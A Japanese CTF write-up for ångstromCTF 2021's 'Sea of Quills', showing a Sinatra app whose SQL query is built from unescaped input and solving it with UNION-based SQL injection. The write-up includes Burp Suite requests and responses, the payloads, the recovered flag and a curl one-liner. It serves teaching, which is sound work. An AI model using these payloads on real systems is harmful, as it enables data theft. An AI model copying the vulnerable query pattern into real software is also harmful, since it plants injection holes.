ångstromCTF 2021: Sea of Quills

問題

問題文

Come check out our finest selection of quills!

app.rb

Author: JoshDaBosh

問題概要

Ruby 製の Web アプリケーションフレームワークである sinatra を用いた Web アプリケーションのソースコード (app.rb) と 実際に動作する Web アプリケーションの URL が与えられる.

解答例

指針

解説

与えられたソースコードは以下のようなものであった.

require 'sinatra'
require 'sqlite3'

set :bind, "0.0.0.0"
set :port, 4567

get '/' do
    db = SQLite3::Database.new "quills.db"
    @row = db.execute( "select * from quills" )
    

    erb :index
end

get '/quills' do
    erb :quills    

end


post '/quills' do
    db = SQLite3::Database.new "quills.db"
    cols = params[:cols]
    lim = params[:limit]
    off = params[:offset]
    
    blacklist = ["-", "/", ";", "'", "\""]
    
    blacklist.each { |word|
        if cols.include? word
            return "beep boop sqli detected!"
        end
    }

    
    if !/^[0-9]+$/.match?(lim) || !/^[0-9]+$/.match?(off)
        return "bad, no quills for you!"
    end

    @row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])

    p @row

    erb :specific
end

ソースコードの40行目を見ると, プレースホルダを用いずにユーザーからの入力 (cols, lim, off) を元に SQL クエリを組み立てている.

    cols = params[:cols]
    lim = params[:limit]
    off = params[:offset]

    (--snip--)

    @row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])

したがって, SQL injection が出来そうな気持ちになる.

さらにコードを読むと以下の部分で SQL injection 対策らしきものがされていることが分かる.

    blacklist = ["-", "/", ";", "'", "\""]
    
    blacklist.each { |word|
        if cols.include? word
            return "beep boop sqli detected!"
        end
    }

UNION 演算子を用いた SQL injection をすれば, 特に上記の制約に引っかからずに SQL injection を行うことが可能である.

以下のような手順で Burp Suite を用いてブラウザから POST リクエスト (post /quills) を送ったときの HTTP リクエストをキャプチャしてみる.

  • Burp Suite を実行し, Proxy -> Intercept をクリック
  • Intercept is on となっていたら Intercept is off にする
  • Open browser をクリックし, ブラウザを起動させる
  • Burp Suite から起動したブラウザで, POST リクエストを送信
  • Burp SuiteProxy -> HTTP history から今送った POST リクエストを探す

すると, 送った POST リクエストとレスポンスのデータが得られる.

送った HTTP リクエストは以下のようなものであった.

POST /quills HTTP/1.1
Host: seaofquills.2021.chall.actf.co
Connection: close
Content-Length: 41
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://seaofquills.2021.chall.actf.co
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://seaofquills.2021.chall.actf.co/quills
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8

limit=100&offset=0&cols=url%2Cdesc%2Cname

このリクエストの末尾の Body 部分を改変してリクエストを送っていく.

与えられたソースコードから RDBMSsqlite を使っていることが分かるので, まずは UNION 演算子を用いた SQL injection により, sqlite_master テーブルの中身を表示させる.

全ての SQLite データベースはデータベースのスキーマを保持する 1 つのスキーマテーブル (sqlite_scheme)を持ち, sqlite_mastersqlite_schema の別名である.

スキーマテーブルは以下のようなものである.

CREATE TABLE sqlite_master(
  type text,
  name text,
  tbl_name text,
  rootpage integer,
  sql text
);

UNION 演算子は 2 つの SELECT 文の結果の UNION (和) 操作を行い, どちらか一方の問い合わせ (クエリ) で返されたすべての行を返す.

実行される SQL クエリは以下のようなものであった.

@row = db.execute("select %s from quills limit %s offset %s" % [cols, lim, off])

cols* from sqlite_master union select url,desc,name という文字列を与えれば, 以下のような SQL 文が組み立てられ, UNION 演算子による SQL injection が成功して, sqlite_master テーブルの中身を表示できそうに思われる.

select * from sqlite_master union select url,desc,name from quills limit 100 offset 0

Burp SuiteRepeater というタブをクリックし HTTP リクエストを送ってみる. 以下のように target host を設定した.

  • Host: seaofquills.2021.chall.actf.co
  • Port: 443

さっきキャプチャしたリクエストの末尾の Body 部分だけを改変すればいい. スペースやアスタリスク, カンマなどを URL エンコードして HTTP Request を送ってみる.

  • HTTP Request
POST /quills HTTP/1.1
Host: seaofquills.2021.chall.actf.co
Connection: close
Content-Length: 41
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://seaofquills.2021.chall.actf.co
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://seaofquills.2021.chall.actf.co/quills
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8

limit=100&offset=0&cols=%2a%20from%20sqlite_master%20union%20select%20url%2Cdesc%2Cname
  • HTTP Response
HTTP/1.1 500 Internal Server Error
Content-Length: 30
Content-Type: text/html;charset=utf-8
Date: Sun, 11 Apr 2021 06:49:06 GMT
Server: Caddy
Server: nginx/1.14.1
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Connection: close

<h1>Internal Server Error</h1>

サーバーエラーとなった. これは, 2つの select 文で指定してる列 (column) の数が異なっているため UNION 演算子がうまく動作しないためである.

select * from sqlite_master union select url,desc,name from quills limit 100 offset 0

sqlite_master は以下に示す 5 つの列 (column) があるので今回はこのうち sql, name, tbl_name の 3 つだけ選ぶようにしてみる.

CREATE TABLE sqlite_master(
  type text,
  name text,
  tbl_name text,
  rootpage integer,
  sql text
);

以下のような POST リクエストを送ればいい.

  • HTTP Request (Body 部のみ)
limit=100&offset=0&cols=sql%2Cname%2Ctbl_name%20from%20sqlite_master%20union%20select%20url%2Cdesc%2Cname
  • HTTP Response
HTTP/1.1 200 OK
Content-Length: 2695
Content-Type: text/html;charset=utf-8
Date: Sun, 11 Apr 2021 06:57:25 GMT
Server: Caddy
Server: nginx/1.14.1
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Xss-Protection: 1; mode=block
Connection: close

<!DOCTYPE html>

(--snip--)

                        <ul class="list pl0">

                                        <img src="CREATE TABLE flagtable (
                flag varchar(30)
        )" class="w3 h3">
                                <li class="pb5 pl3">flagtable <ul><li>flagtable</li></ul></li><br />

flag という列 (column) を持つ flagtable というテーブルが存在することが分かる.

UNION 演算子を用いた SQL injection をもう一度行い, flagtable の flag を表示させてみる. 今度は列 (column) 数が1つしかないので, 以下のようにして数を合わせた.

select flag,1,1 from flagtable union select url,desc,name
  • HTTP Request (Body 部のみ)
limit=100&offset=0&cols=flag%2C1%2C1%20from%20flagtable%20union%20select%20url%2Cdesc%2Cname
  • HTTP Response
HTTP/1.1 200 OK

(--snip--)

                    <img src="actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}" class="w3 h3">
                <li class="pb5 pl3">1 <ul><li>1</li></ul></li><br />

flag: actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}

今回は Burp Suite を用いて解いたが他にも様々な解法が考えられる.

例えば curl を使うと以下のようにして flag を得ることができる.

$ curl -s -X POST -d "limit=100&offset=0&cols=flag%2C1%2C1%20from%20flagtable%20union%20select%20url%2Cdesc%2Cname" https://seaofquills.2021.chall.actf.co/quills  | grep -oE actf{.*}
actf{and_i_was_doing_fine_but_as_you_came_in_i_watch_my_regex_rewrite_f53d98be5199ab7ff81668df}

参考文献